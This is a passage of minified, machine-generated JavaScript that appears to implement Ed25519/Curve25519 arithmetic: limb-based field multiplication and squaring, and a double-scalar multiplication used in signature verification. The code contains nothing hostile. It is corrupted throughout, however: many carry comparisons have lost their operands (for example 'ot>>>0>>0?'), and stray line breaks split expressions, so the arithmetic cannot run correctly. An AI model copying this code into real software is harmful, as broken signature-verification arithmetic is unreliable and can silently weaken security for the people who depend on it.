s[0|l]=i,s[0|d]=0;if(!(r>>>0>250)){e:if(i=s[0|(d=(A=r+5|0)+(h+1760|0)|0)])if((0|(i=(f=i<<5)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+1760|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>249)&&(r=s[0|(f=(A=r+6|0)+(h+1760|0)|0)]))if((0|(r=(u=r<<6)+(i=s[0|l])|0))>=16){if((0|(r=i-u|0))<-15)break t;for(s[0|l]=r;;){if(c[0|(r=(h+1760|0)+A|0)]){if(s[0|r]=0,r=A>>>0<255,A=A+1|0,r)continue;break t}break}s[0|r]=1}else s[0|l]=r,s[0|f]=0}}}}}if(256==(0|e))break}for(Z(A=h+480|0,p),e=a[p+36>>2],a[h+192>>2]=a[p+32>>2],a[h+196>>2]=e,e=a[p+28>>2],a[h+184>>2]=a[p+24>>2],a[h+188>>2]=e,e=a[p+20>>2],a[h+176>>2]=a[p+16>>2],a[h+180>>2]=e,e=a[p+12>>2],a[h+168>>2]=a[p+8>>2],a[h+172>>2]=e,e=a[p+4>>2],a[h+160>>2]=a[p>>2],a[h+164>>2]=e,e=a[p+52>>2],a[h+208>>2]=a[p+48>>2],a[h+212>>2]=e,e=a[p+60>>2],a[h+216>>2]=a[p+56>>2],a[h+220>>2]=e,e=a[4+(r=p- -64|0)>>2],a[h+224>>2]=a[r>>2],a[h+228>>2]=e,e=a[p+76>>2],a[h+232>>2]=a[p+72>>2],a[h+236>>2]=e,e=a[p+44>>2],a[h+200>>2]=a[p+40>>2],a[h+204>>2]=e,e=a[p+92>>2],a[h+248>>2]=a[p+88>>2],a[h+252>>2]=e,e=a[p+100>>2],a[h+256>>2]=a[p+96>>2],a[h+260>>2]=e,e=a[p+108>>2],a[h+264>>2]=a[p+104>>2],a[h+268>>2]=e,e=a[p+116>>2],a[h+272>>2]=a[p+112>>2],a[h+276>>2]=e,e=a[p+84>>2],a[h+240>>2]=a[p+80>>2],a[h+244>>2]=e,_(i=h+320|0,r=h+160|0),v(h,i,y=h+440|0),v(h+40|0,C=h+360|0,m=h+400|0),v(h+80|0,m,y),v(h+120|0,i,C),P(i,h,A),v(r,i,y),v(M=h+200|0,C,m),v(x=h+240|0,m,y),v(b=h+280|0,i,C),Z(e=h+640|0,r),P(i,h,e),v(r,i,y),v(M,C,m),v(x,m,y),v(b,i,C),Z(e=h+800|0,r),P(i,h,e),v(r,i,y),v(M,C,m),v(x,m,y),v(b,i,C),Z(e=h+960|0,r),P(i,h,e),v(r,i,y),v(M,C,m),v(x,m,y),v(b,i,C),Z(e=h+1120|0,r),P(i,h,e),v(r,i,y),v(M,C,m),v(x,m,y),v(b,i,C),Z(e=h+1280|0,r),P(i,h,e),v(r,i,y),v(M,C,m),v(x,m,y),v(b,i,C),Z(e=h+1440|0,r),P(i,h,e),v(r,i,y),v(M,C,m),v(x,m,y),v(b,i,C),Z(h+1600|0,r),a[n+32>>2]=0,a[n+36>>2]=0,a[n+24>>2]=0,a[n+28>>2]=0,a[n+16>>2]=0,a[n+20>>2]=0,a[n+8>>2]=0,a[n+12>>2]=0,a[n>>2]=0,a[n+4>>2]=0,a[n+44>>2]=0,a[n+48>>2]=0,a[(z=n+40|0)>>2]=1,a[n+52>>2]=0,a[n+56>>2]=0,a[n+60>>2]=0,a[n+64>>2]=0,a[n+68>>2]=0,a[n+72>>2]=0,a[n+84>>2]=0,a[n+88>>2]=0,a[n+76>>2]=0,a[n+80>>2]=1,a[n+92>>2]=0,a[n+96>>2]=0,a[n+100>>2]=0,a[n+104>>2]=0,a[n+108>>2]=0,a[n+112>>2]=0,a[n+116>>2]=0,et=n+80|0,e=255;;){t:{e:{if(!c[(r=h+2016|0)+e|0]&&!c[(A=h+1760|0)+e|0]){if(!(c[(i=r)+(r=e-1|0)|0]|c[r+A|0]))break e;e=r}if((0|e)<0)break t;for(;_(A=h+320|0,n),(0|(i=s[(r=e)+(h+2016|0)|0]))>0?(v(e=h+160|0,A,y),v(M,C,m),v(x,m,y),v(b,A,C),P(A,e,(h+480|0)+g((254&i)>>>1|0,160)|0)):(0|i)>=0||(v(e=h+160|0,A=h+320|0,y),v(M,C,m),v(x,m,y),v(b,A,C),T(A,e,(h+480|0)+g((0-i&254)>>>1|0,160)|0)),(0|(J=s[r+(h+1760|0)|0]))>0?(v(e=h+160|0,A=h+320|0,y),v(M,C,m),v(x,m,y),v(b,A,C),R(A,e,g((254&J)>>>1|0,120)+1488|0)):(0|J)>=0||(v(h+160|0,j=h+320|0,y),v(M,C,m),v(x,m,y),v(b,j,C),F=a[h+160>>2],U=a[h+200>>2],H=a[h+164>>2],L=a[h+204>>2],O=a[h+168>>2],Y=a[h+208>>2],K=a[h+172>>2],B=a[h+212>>2],w=a[h+176>>2],Q=a[h+216>>2],k=a[h+180>>2],S=a[h+220>>2],l=a[h+184>>2],d=a[h+224>>2],f=a[h+188>>2],u=a[h+228>>2],p=a[h+192>>2],i=a[h+232>>2],A=a[h+236>>2],e=a[h+196>>2],a[h+396>>2]=A-e,a[h+392>>2]=i-p,a[h+388>>2]=u-f,a[h+384>>2]=d-l,a[h+380>>2]=S-k,a[h+376>>2]=Q-w,a[h+372>>2]=B-K,a[h+368>>2]=Y-O,a[h+364>>2]=L-H,a[h+360>>2]=U-F,a[h+356>>2]=e+A,a[h+352>>2]=i+p,a[h+348>>2]=u+f,a[h+344>>2]=l+d,a[h+340>>2]=k+S,a[h+336>>2]=w+Q,a[h+332>>2]=B+K,a[h+328>>2]=O+Y,a[h+324>>2]=H+L,a[h+320>>2]=F+U,v(m,j,40+(e=g((0-J&254)>>>1|0,120)+1488|0)|0),v(C,C,e),v(y,e+80|0,b),rt=a[h+276>>2],nt=a[h+272>>2],J=a[h+268>>2],j=a[h+264>>2],l=a[h+260>>2],d=a[h+256>>2],f=a[h+252>>2],u=a[h+248>>2],p=a[h+244>>2],i=a[h+240>>2],q=a[h+360>>2],X=a[h+400>>2],V=a[h+364>>2],W=a[h+404>>2],$=a[h+368>>2],tt=a[h+408>>2],F=a[h+372>>2],U=a[h+412>>2],H=a[h+376>>2],L=a[h+416>>2],O=a[h+380>>2],Y=a[h+420>>2],K=a[h+384>>2],B=a[h+424>>2],w=a[h+388>>2],Q=a[h+428>>2],k=a[h+392>>2],S=a[h+432>>2],A=a[h+396>>2],e=a[h+436>>2],a[h+396>>2]=A+e,a[h+392>>2]=k+S,a[h+388>>2]=w+Q,a[h+384>>2]=B+K,a[h+380>>2]=O+Y,a[h+376>>2]=H+L,a[h+372>>2]=F+U,a[h+368>>2]=$+tt,a[h+364>>2]=V+W,a[h+360>>2]=q+X,a[h+356>>2]=e-A,a[h+352>>2]=S-k,a[h+348>>2]=Q-w,a[h+344>>2]=B-K,a[h+340>>2]=Y-O,a[h+336>>2]=L-H,a[h+332>>2]=U-F,a[h+328>>2]=tt-$,a[h+324>>2]=W-V,a[h+320>>2]=X-q,F=i<<1,U=a[h+440>>2],a[h+400>>2]=F-U,H=p<<1,L=a[h+444>>2],a[h+404>>2]=H-L,O=u<<1,Y=a[h+448>>2],a[h+408>>2]=O-Y,K=f<<1,B=a[h+452>>2],a[h+412>>2]=K-B,w=d<<1,Q=a[h+456>>2],a[h+416>>2]=w-Q,k=l<<1,S=a[h+460>>2],a[h+420>>2]=k-S,l=j<<1,d=a[h+464>>2],a[h+424>>2]=l-d,f=J<<1,u=a[h+468>>2],a[h+428>>2]=f-u,p=nt<<1,i=a[h+472>>2],a[h+432>>2]=p-i,A=rt<<1,e=a[h+476>>2],a[h+436>>2]=A-e,a[h+440>>2]=F+U,a[h+444>>2]=H+L,a[h+448>>2]=O+Y,a[h+452>>2]=B+K,a[h+456>>2]=w+Q,a[h+460>>2]=k+S,a[h+464>>2]=l+d,a[h+468>>2]=u+f,a[h+472>>2]=i+p,a[h+476>>2]=e+A),v(n,h+320|0,y),v(z,C,m),v(et,m,y),e=r-1|0,(0|r)>0;);break t}if(e=e-2|0,r)continue}break}I=h+2272|0,bt(e=o+288|0,n),At=-1,it=Ct(e,t),k=((0|t)==(0|e)?At:it)|ut(t,e,32)}return I=o+592|0,k}function v(t,e,r){var n,A,i,o,s,c,h,u,l,f,p,d,I,C,m,B,E,w,v,_,Q,b,k,D,S,N,M,x,F,P,T,R,U,G,H,L,O,Y,K,J,j,z,q,X,V,W,Z,$,tt,et,rt,nt,At,it=0,ot=0,st=0,at=0,ct=0,ht=0,gt=0,ut=0,lt=0,ft=0,pt=0,dt=0,It=0,yt=0,Ct=0,mt=0,Et=0,wt=0,vt=0,_t=0,Qt=0,bt=0,kt=0,Dt=0,St=0;it=Bt(n=a[r+4>>2],f=n>>31,Et=(B=a[e+20>>2])<<1,T=Et>>31),st=y,ot=(It=Bt(Ct=a[r>>2],i=Ct>>31,A=a[e+24>>2],o=A>>31))+it|0,it=y+st|0,it=ot>>>0>>0?it+1|0:it,lt=Bt(s=a[r+8>>2],I=s>>31,It=a[e+16>>2],c=It>>31),st=y+it|0,st=(ot=lt+ot|0)>>>0>>0?st+1|0:st,it=(lt=Bt(p=a[r+12>>2],E=p>>31,D=(w=a[e+12>>2])<<1,R=D>>31))+ot|0,ot=y+st|0,ot=it>>>0>>0?ot+1|0:ot,st=(yt=Bt(C=a[r+16>>2],S=C>>31,lt=a[e+8>>2],h=lt>>31))+it|0,it=y+ot|0,it=st>>>0>>0?it+1|0:it,ot=st,st=Bt(v=a[r+20>>2],U=v>>31,N=(_=a[e+4>>2])<<1,G=N>>31),it=y+it|0,it=(ot=ot+st|0)>>>0>>0?it+1|0:it,W=gt=a[r+24>>2],st=(ft=Bt(gt,X=gt>>31,yt=a[e>>2],u=yt>>31))+ot|0,ot=y+it|0,ot=st>>>0>>0?ot+1|0:ot,H=a[r+28>>2],it=(ft=Bt(dt=g(H,19),Q=dt>>31,M=(b=a[e+36>>2])<<1,L=M>>31))+st|0,st=y+ot|0,st=it>>>0>>0?st+1|0:st,Qt=a[r+32>>2],ot=(ut=Bt(at=g(Qt,19),m=at>>31,ft=a[e+32>>2],l=ft>>31))+it|0,it=y+st|0,it=ot>>>0>>0?it+1|0:it,Z=a[r+36>>2],r=Bt(ut=g(Z,19),d=ut>>31,x=(k=a[e+28>>2])<<1,O=x>>31),it=y+it|0,ct=e=r+ot|0,r=e>>>0>>0?it+1|0:it,e=Bt(It,c,n,f),it=y,ot=Bt(Ct,i,B,Y=B>>31),st=y+it|0,st=(e=ot+e|0)>>>0>>0?st+1|0:st,it=Bt(s,I,w,K=w>>31),ot=y+st|0,ot=(e=it+e|0)>>>0>>0?ot+1|0:ot,st=Bt(lt,h,p,E),it=y+ot|0,it=(e=st+e|0)>>>0>>0?it+1|0:it,ot=Bt(C,S,_,J=_>>31),it=y+it|0,it=(e=ot+e|0)>>>0>>0?it+1|0:it,ot=Bt(yt,u,v,U),it=y+it|0,it=(e=ot+e|0)>>>0>>0?it+1|0:it,ot=Bt(gt=g(gt,19),F=gt>>31,b,j=b>>31),st=y+it|0,st=(e=ot+e|0)>>>0>>0?st+1|0:st,it=Bt(ft,l,dt,Q),ot=y+st|0,ot=(e=it+e|0)>>>0>>0?ot+1|0:ot,st=Bt(at,m,k,z=k>>31),it=y+ot|0,it=(e=st+e|0)>>>0>>0?it+1|0:it,ot=Bt(ut,d,A,o),it=y+it|0,kt=e=ot+e|0,wt=e>>>0>>0?it+1|0:it,e=Bt(n,f,D,R),it=y,ot=Bt(Ct,i,It,c),it=y+it|0,it=(e=ot+e|0)>>>0>>0?it+1|0:it,ot=Bt(lt,h,s,I),st=y+it|0,st=(e=ot+e|0)>>>0>>0?st+1|0:st,it=Bt(p,E,N,G),ot=y+st|0,ot=(e=it+e|0)>>>0>>0?ot+1|0:ot,st=Bt(yt,u,C,S),it=y+ot|0,it=(e=st+e|0)>>>0>>0?it+1|0:it,ot=Bt(P=g(v,19),q=P>>31,M,L),it=y+it|0,it=(e=ot+e|0)>>>0>>0?it+1|0:it,ot=Bt(ft,l,gt,F),it=y+it|0,it=(e=ot+e|0)>>>0>>0?it+1|0:it,ot=Bt(dt,Q,x,O),st=y+it|0,st=(e=ot+e|0)>>>0>>0?st+1|0:st,it=Bt(at,m,A,o),ot=y+st|0,ot=(e=it+e|0)>>>0>>0?ot+1|0:ot,st=Bt(ut,d,Et,T),it=y+ot|0,$=e=st+e|0,tt=it=e>>>0>>0?it+1|0:it,et=e=e+33554432|0,rt=it=e>>>0<33554432?it+1|0:it,st=(67108863&it)<<6|e>>>26,it=(it>>26)+wt|0,kt=e=st+kt|0,it=e>>>0>>0?it+1|0:it,nt=e=e+16777216|0,it=r+(ot=(st=e>>>0<16777216?it+1|0:it)>>25)|0,it=(e=(st=(33554431&st)<<7|e>>>25)+ct|0)>>>0>>0?it+1|0:it,vt=r=(ot=e)+33554432|0,e=it=r>>>0<33554432?it+1|0:it,a[t+24>>2]=ot-(-67108864&r),r=Bt(n,f,N,G),it=y,ot=Bt(Ct,i,lt,h),st=y+it|0,st=(r=ot+r|0)>>>0>>0?st+1|0:st,ot=(it=r)+(r=Bt(yt,u,s,I))|0,it=y+st|0,it=r>>>0>ot>>>0?it+1|0:it,st=Bt(r=g(p,19),_t=r>>31,M,L),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,st=(ct=Bt(ft,l,wt=g(C,19),V=wt>>31))+ot|0,ot=y+it|0,ot=st>>>0>>0?ot+1|0:ot,ct=Bt(x,O,P,q),it=y+ot|0,it=(st=ct+st|0)>>>0>>0?it+1|0:it,ot=(ct=Bt(A,o,gt,F))+st|0,st=y+it|0,st=ot>>>0>>0?st+1|0:st,ct=Bt(dt,Q,Et,T),it=y+st|0,it=(ot=ct+ot|0)>>>0>>0?it+1|0:it,st=Bt(at,m,It,c),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,st=(ct=Bt(ut,d,D,R))+ot|0,ot=y+it|0,pt=st,Dt=st>>>0>>0?ot+1|0:ot,it=Bt(yt,u,n,f),ot=y,st=(ct=Bt(Ct,i,_,J))+it|0,it=y+ot|0,it=st>>>0>>0?it+1|0:it,ct=ot=g(s,19),ot=(ht=Bt(ot,bt=ot>>31,b,j))+st|0,st=y+it|0,st=ot>>>0>>0?st+1|0:st,ht=Bt(ft,l,r,_t),it=y+st|0,it=(ot=ht+ot|0)>>>0>>0?it+1|0:it,st=Bt(wt,V,k,z),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,st=(ht=Bt(A,o,P,q))+ot|0,ot=y+it|0,ot=st>>>0>>0?ot+1|0:ot,ht=Bt(gt,F,B,Y),it=y+ot|0,it=(st=ht+st|0)>>>0>>0?it+1|0:it,ot=(ht=Bt(It,c,dt,Q))+st|0,st=y+it|0,st=ot>>>0>>0?st+1|0:st,ht=Bt(at,m,w,K),it=y+st|0,it=(ot=ht+ot|0)>>>0>>0?it+1|0:it,st=Bt(ut,d,lt,h),it=y+it|0,St=ot=st+ot|0,ht=ot>>>0>>0?it+1|0:it,it=Bt(it=g(n,19),it>>31,M,L),ot=y,st=Bt(Ct,i,yt,u),ot=y+ot|0,ot=(it=st+it|0)>>>0>>0?ot+1|0:ot,st=(ct=Bt(ft,l,ct,bt))+it|0,it=y+ot|0,r=(ot=Bt(r,_t,x,O))+st|0,st=y+(st>>>0>>0?it+1|0:it)|0,st=r>>>0>>0?st+1|0:st,ot=Bt(A,o,wt,V),it=y+st|0,it=(r=ot+r|0)>>>0>>0?it+1|0:it,ot=Bt(Et,T,P,q),it=y+it|0,it=(r=ot+r|0)>>>0>>0?it+1|0:it,st=Bt(It,c,gt,F),ot=y+it|0,ot=(r=st+r|0)>>>0>>0?ot+1|0:ot,st=Bt(dt,Q,D,R),it=y+ot|0,it=(r=st+r|0)>>>0>>0?it+1|0:it,ot=Bt(at,m,lt,h),st=y+it|0,st=(r=ot+r|0)>>>0>>0?st+1|0:st,ot=Bt(ut,d,N,G),it=y+st|0,ct=r=ot+r|0,_t=it=r>>>0>>0?it+1|0:it,bt=r=r+33554432|0,At=it=r>>>0<33554432?it+1|0:it,ot=(st=it>>26)+ht|0,ht=r=(it=(67108863&it)<<6|r>>>26)+St|0,it=r>>>0>>0?ot+1|0:ot,St=r=r+16777216|0,ot=(33554431&(it=r>>>0<16777216?it+1|0:it))<<7|r>>>25,it=(it>>25)+Dt|0,it=(r=ot+pt|0)>>>0>>0?it+1|0:it,Dt=ot=(st=r)+33554432|0,r=it=ot>>>0<33554432?it+1|0:it,a[t+8>>2]=st-(-67108864&ot),it=Bt(A,o,n,f),st=y,ot=(pt=Bt(Ct,i,k,z))+it|0,it=y+st|0,it=ot>>>0>>0?it+1|0:it,st=Bt(s,I,B,Y),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,st=Bt(It,c,p,E),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,pt=Bt(C,S,w,K),st=y+it|0,st=(ot=pt+ot|0)>>>0>>0?st+1|0:st,it=(pt=Bt(lt,h,v,U))+ot|0,ot=y+st|0,ot=it>>>0>>0?ot+1|0:ot,st=(pt=Bt(_,J,W,X))+it|0,it=y+ot|0,it=st>>>0>>0?it+1|0:it,ot=st,st=Bt(yt,u,H,pt=H>>31),it=y+it|0,it=(ot=ot+st|0)>>>0>>0?it+1|0:it,st=Bt(at,m,b,j),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,mt=Bt(ut,d,ft,l),st=y+it|0,it=e>>26,e=(vt=(67108863&e)<<6|vt>>>26)+(ot=mt+ot|0)|0,ot=it+(ot>>>0>>0?st+1|0:st)|0,it=(st=e)>>>0>>0?ot+1|0:ot,vt=ot=st+16777216|0,e=it=ot>>>0<16777216?it+1|0:it,a[t+28>>2]=st-(-33554432&ot),it=Bt(lt,h,n,f),ot=y,mt=Bt(Ct,i,w,K),st=y+ot|0,st=(it=mt+it|0)>>>0>>0?st+1|0:st,mt=Bt(s,I,_,J),ot=y+st|0,ot=(it=mt+it|0)>>>0>>0?ot+1|0:ot,st=(mt=Bt(yt,u,p,E))+it|0,it=y+ot|0,it=st>>>0>>0?it+1|0:it,ot=st,st=Bt(wt,V,b,j),it=y+it|0,it=(ot=ot+st|0)>>>0>>0?it+1|0:it,st=Bt(ft,l,P,q),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,ot=(gt=Bt(gt,F,k,z))+ot|0,st=y+it|0,it=(dt=Bt(A,o,dt,Q))+ot|0,ot=y+(ot>>>0>>0?st+1|0:st)|0,st=(at=Bt(at,m,B,Y))+it|0,it=y+(it>>>0

>>0?ot+1|0:ot)|0,it=st>>>0>>0?it+1|0:it,ot=st,st=Bt(ut,d,It,c),it=y+it|0,at=ot=ot+st|0,it=(it=ot>>>0>>0?it+1|0:it)+(ot=r>>26)|0,at=r=at+(st=(67108863&r)<<6|Dt>>>26)|0,it=r>>>0>>0?it+1|0:it,dt=ot=r+16777216|0,r=st=ot>>>0<16777216?it+1|0:it,a[t+12>>2]=at-(-33554432&ot),it=Bt(n,f,x,O),st=y,ot=(at=Bt(Ct,i,ft,l))+it|0,it=y+st|0,it=ot>>>0>>0?it+1|0:it,st=Bt(A,o,s,I),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,at=Bt(p,E,Et,T),st=y+it|0,st=(ot=at+ot|0)>>>0>>0?st+1|0:st,it=(at=Bt(It,c,C,S))+ot|0,ot=y+st|0,ot=it>>>0>>0?ot+1|0:ot,st=(at=Bt(D,R,v,U))+it|0,it=y+ot|0,it=st>>>0>>0?it+1|0:it,ot=st,st=Bt(lt,h,W,X),it=y+it|0,it=(ot=ot+st|0)>>>0>>0?it+1|0:it,st=Bt(H,pt,N,G),it=y+it|0,it=(ot=st+ot|0)>>>0>>0?it+1|0:it,ot=(Et=Bt(yt,u,at=Qt,gt=at>>31))+ot|0,st=y+it|0,it=(ut=Bt(ut,d,M,L))+ot|0,ot=y+(ot>>>0>>0?st+1|0:st)|0,ot=it>>>0>>0?ot+1|0:ot,Qt=it,it=(it=e>>25)+ot|0,it=(e=Qt+(st=(33554431&e)<<7|vt>>>25)|0)>>>0>>0?it+1|0:it,ut=ot=(st=e)+33554432|0,e=it=ot>>>0<33554432?it+1|0:it,a[t+32>>2]=st-(-67108864&ot),ot=r>>25,r=(dt=(33554431&r)<<7|dt>>>25)+($-(it=-67108864&et)|0)|0,it=ot+(tt-((it>>>0>$>>>0)+rt|0)|0)|0,it=r>>>0
>>0?it+1|0:it,it=((67108863&(it=(r=(ot=r)+33554432|0)>>>0<33554432?it+1|0:it))<<6|r>>>26)+(st=kt-(-33554432&nt)|0)|0,a[t+20>>2]=it,a[t+16>>2]=ot-(-67108864&r),r=Bt(ft,l,n,f),it=y,ot=Bt(Ct,i,b,j),it=y+it|0,it=(r=ot+r|0)>>>0>>0?it+1|0:it,st=Bt(s,I,k,z),ot=y+it|0,ot=(r=st+r|0)>>>0>>0?ot+1|0:ot,it=Bt(A,o,p,E),st=y+ot|0,st=(r=it+r|0)>>>0>>0?st+1|0:st,ot=Bt(C,S,B,Y),it=y+st|0,it=(r=ot+r|0)>>>0>>0?it+1|0:it,ot=Bt(It,c,v,U),it=y+it|0,it=(r=ot+r|0)>>>0>>0?it+1|0:it,ot=Bt(w,K,W,X),it=y+it|0,it=(r=ot+r|0)>>>0>>0?it+1|0:it,st=Bt(lt,h,H,pt),ot=y+it|0,ot=(r=st+r|0)>>>0>>0?ot+1|0:ot,it=Bt(at,gt,_,J),st=y+ot|0,st=(r=it+r|0)>>>0>>0?st+1|0:st,ot=Bt(yt,u,Z,Z>>31),it=y+st|0,it=(it=(r=ot+r|0)>>>0>>0?it+1|0:it)+(ot=e>>26)|0,it=(e=(st=r)+(r=(67108863&e)<<6|ut>>>26)|0)>>>0>>0?it+1|0:it,it=(e=(r=e)+16777216|0)>>>0<16777216?it+1|0:it,a[t+36>>2]=r-(-33554432&e),st=ht-(-33554432&St)|0,ot=ct-(r=-67108864&bt)|0,Ct=_t-((r>>>0>ct>>>0)+At|0)|0,e=(r=Bt((33554431&(r=it))<<7|e>>>25,it>>=25,19,0))+ot|0,ot=y+Ct|0,it=e>>>0>>0?ot+1|0:ot,it=((67108863&(it=(e=(r=e)+33554432|0)>>>0<33554432?it+1|0:it))<<6|e>>>26)+st|0,a[t+4>>2]=it,a[t>>2]=r-(-67108864&e)}function _(t,e){var r,n,A,i,o,s,c,h,u,l,f,p,d,C,m,B,E,w,v,_,Q,k,D,S=0,N=0,M=0,x=0,F=0,P=0,T=0,R=0,U=0,G=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,X=0,V=0,W=0,Z=0,$=0,tt=0,et=0,rt=0,nt=0,At=0,it=0,ot=0,st=0,at=0,ct=0,ht=0,gt=0;I=r=I-48|0,b(t,e),b(t+80|0,e+40|0),S=Bt(Y=(Z=a[e+92>>2])<<1,o=Y>>31,R=(x=a[e+84>>2])<<1,n=R>>31),M=y,nt=j=a[e+88>>2],N=(H=Bt(j,q=j>>31,j,q))+S|0,S=y+M|0,S=N>>>0>>0?S+1|0:S,M=Bt(F=a[e+96>>2],s=F>>31,H=(U=a[e+80>>2])<<1,A=H>>31),S=y+S|0,S=(N=M+N|0)>>>0>>0?S+1|0:S,rt=a[e+108>>2],M=Bt(L=g(rt,38),f=L>>31,rt,C=rt>>31),S=y+S|0,S=(N=M+N|0)>>>0>>0?S+1|0:S,M=N,$=a[e+112>>2],G=Bt(P=g($,19),c=P>>31,N=(X=a[e+104>>2])<<1,N>>31),N=y+S|0,N=(M=M+G|0)>>>0>>0?N+1|0:N,ot=a[e+116>>2],S=Bt(G=g(ot,38),i=G>>31,z=(V=a[e+100>>2])<<1,u=z>>31),N=y+N|0,st=S=(S>>>0>(M=S+M|0)>>>0?N+1:N)<<1|M>>>31,at=M=33554432+(m=M<<1)|0,ct=S=M>>>0<33554432?S+1|0:S,T=(67108863&S)<<6|M>>>26,W=S>>26,S=Bt(R,n,F,s),M=y,N=(tt=Bt(j<<=1,l=j>>31,Z,B=Z>>31))+S|0,S=y+M|0,S=N>>>0>>0?S+1|0:S,M=(tt=Bt(V,p=V>>31,H,A))+N|0,N=y+S|0,N=M>>>0>>0?N+1|0:N,At=Bt(P,c,tt=rt<<1,E=tt>>31),S=y+N|0,S=(M=At+M|0)>>>0>>0?S+1|0:S,N=Bt(G,i,X,h=X>>31),S=y+S|0,N=(N=(N>>>0>(M=N+M|0)>>>0?S+1:S)<<1|M>>>31)+W|0,At=M=(S=M<<1)+T|0,S=N=S>>>0>M>>>0?N+1|0:N,ht=M=M+16777216|0,T=(33554431&(S=M>>>0<16777216?S+1|0:S))<<7|M>>>25,W=S>>25,S=Bt(Y,o,Z,B),M=y,N=(O=Bt(F,s,j,l))+S|0,S=y+M|0,S=N>>>0>>0?S+1|0:S,M=Bt(R,n,z,u),S=y+S|0,S=(N=M+N|0)>>>0>>0?S+1|0:S,M=(O=Bt(H,A,X,h))+N|0,N=y+S|0,N=M>>>0>>0?N+1|0:N,O=Bt(P,c,$,d=$>>31),S=y+N|0,S=(M=O+M|0)>>>0>>0?S+1|0:S,O=Bt(G,i,tt,E),N=y+S|0,N=((M=O+M|0)>>>0>>0?N+1:N)<<1|M>>>31,M=(S=T)+(T=M<<1)|0,S=N+W|0,S=M>>>0>>0?S+1|0:S,W=M,O=N=M+33554432|0,M=S=N>>>0<33554432?S+1|0:S,a[t+144>>2]=W-(-67108864&N),W=Bt(S=g(V,38),S>>31,V,p),T=y,U=Bt(S=U,N=S>>31,S,N),N=y+T|0,N=(S=U+W|0)>>>0>>0?N+1|0:N,T=(et=Bt(U=g(X,19),w=U>>31,W=F<<1,v=W>>31))+S|0,S=y+N|0,S=T>>>0>>0?S+1|0:S,N=T,T=Bt(Y,o,L,f),S=y+S|0,S=(N=N+T|0)>>>0>>0?S+1|0:S,T=(et=Bt(P,c,j,l))+N|0,N=y+S|0,N=T>>>0>>0?N+1|0:N,et=Bt(R,n,G,i),S=y+N|0,et=S=((T=et+T|0)>>>0>>0?S+1:S)<<1|T>>>31,k=N=(T=33554432+(_=T<<1)|0)>>>0<33554432?S+1|0:S,it=(67108863&N)<<6|T>>>26,gt=N>>26,S=Bt(U,w,z,u),K=y,J=x,N=(x=Bt(H,A,x,Q=x>>31))+S|0,S=y+K|0,S=N>>>0>>0?S+1|0:S,x=(K=Bt(F,s,L,f))+N|0,N=y+S|0,N=x>>>0>>0?N+1|0:N,K=Bt(P,c,Y,o),S=y+N|0,S=(x=K+x|0)>>>0>>0?S+1|0:S,K=Bt(G,i,nt,q),N=y+S|0,N=((x=K+x|0)>>>0>>0?N+1:N)<<1|x>>>31,x=(S=it)+(it=x<<1)|0,S=N+gt|0,S=x>>>0>>0?S+1|0:S,gt=x,it=x=x+16777216|0,D=(33554431&(S=x>>>0<16777216?S+1|0:S))<<7|x>>>25,K=S>>25,S=Bt(H,A,nt,q),x=y,N=(J=Bt(R,n,J,Q))+S|0,S=y+x|0,x=(U=Bt(U,w,X,h))+N|0,N=y+(N>>>0>>0?S+1|0:S)|0,N=x>>>0>>0?N+1|0:N,U=Bt(z,u,L,f),S=y+N|0,S=(x=U+x|0)>>>0>>0?S+1|0:S,N=x,x=Bt(P,c,W,v),S=y+S|0,S=(N=N+x|0)>>>0>>0?S+1|0:S,x=(U=Bt(G,i,Y,o))+N|0,N=y+S|0,S=(S=(x>>>0>>0?N+1:N)<<1|x>>>31)+K|0,J=x=(N=x<<1)+D|0,S=N>>>0>x>>>0?S+1|0:S,x=(U=x+33554432|0)>>>0<33554432?S+1|0:S,a[t+128>>2]=J-(-67108864&U),S=Bt(j,l,V,p),N=y,J=Bt(F,s,Y,o),N=y+N|0,N=(S=J+S|0)>>>0>>0?N+1|0:N,J=(K=Bt(R,n,X,h))+S|0,S=y+N|0,S=J>>>0>>0?S+1|0:S,K=Bt(H,A,rt,C),N=y+S|0,N=(J=K+J|0)>>>0>>0?N+1|0:N,K=Bt(G,i,$,d),S=y+N|0,S=(N=M>>26)+(((J=K+J|0)>>>0>>0?S+1:S)<<1|J>>>31)|0,S=(M=(O=(67108863&M)<<6|O>>>26)+(J<<1)|0)>>>0>>0?S+1|0:S,O=M,N=S,J=S=M+16777216|0,M=N=S>>>0<16777216?N+1|0:N,a[t+148>>2]=O-(-33554432&S),S=Bt(H,A,Z,B),Z=y,N=(q=Bt(R,n,nt,q))+S|0,S=y+Z|0,S=N>>>0>>0?S+1|0:S,L=Bt(X,h,L,f),S=y+S|0,S=(N=L+N|0)>>>0>>0?S+1|0:S,P=(L=Bt(P,c,z,u))+N|0,N=y+S|0,N=P>>>0>>0?N+1|0:N,S=P,P=Bt(G,i,F,s),N=y+N|0,N=((S=S+P|0)>>>0

>>0?N+1:N)<<1,P=S,S=(S=N|S>>>31)+(N=x>>26)|0,S=(x=(O=P<<1)+(P=(67108863&x)<<6|U>>>26)|0)>>>0

>>0?S+1|0:S,P=x,L=N=x+16777216|0,x=S=N>>>0<16777216?S+1|0:S,a[t+132>>2]=P-(-33554432&N),S=Bt(X,h,j,l),P=y,N=(F=Bt(F,s,F,s))+S|0,S=y+P|0,S=N>>>0>>0?S+1|0:S,F=Bt(Y,o,z,u),S=y+S|0,S=(N=F+N|0)>>>0>>0?S+1|0:S,F=Bt(R,n,tt,E),S=y+S|0,S=(N=F+N|0)>>>0>>0?S+1|0:S,F=(P=Bt(H,A,$,d))+N|0,N=y+S|0,N=F>>>0

